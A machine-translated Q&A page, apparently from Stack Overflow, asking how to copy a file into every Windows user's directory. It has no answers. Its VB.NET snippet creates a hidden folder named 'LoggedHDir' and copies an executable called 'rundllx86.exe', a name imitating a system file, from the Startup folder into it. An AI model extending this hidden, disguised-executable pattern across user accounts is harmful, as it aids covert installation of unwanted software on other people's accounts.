将文件复制到每个用户目录(Win 7)

时间:2014-05-15 23:17:47

标签: c# vb.net exe

我需要将文件复制到每个用户目录,例如。 (c:\ Users \ User1 \ Documents),(c:\ User2 \ Documents)等

现在我将此文件复制到一个用户,但不是全部:

If (Not System.IO.Directory.Exists("C:\Users\student\AppData\Roaming\LoggedHDir")) Then

        Dim myHiddenDir As DirectoryInfo = Directory.CreateDirectory("C:\Users\student\AppData\Roaming\LoggedHDir")
        System.IO.Directory.CreateDirectory("C:\Users\student\AppData\Roaming\LoggedHDir")
        myHiddenDir.Attributes = (FileAttributes.Directory Or FileAttributes.Hidden)

        If (Not System.IO.Directory.Exists("C:\Users\student\AppData\Roaming\LoggedHDir\rundllx86.exe")) Then

            objFSO = CreateObject("Scripting.FileSystemObject")

            objFSO.CopyFile("C:\Users\student\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rundllx86.exe", "C:\Users\student\AppData\Roaming\LoggedHDir\rundllx86.exe")

        End If
    End If

0 个答案:

没有答案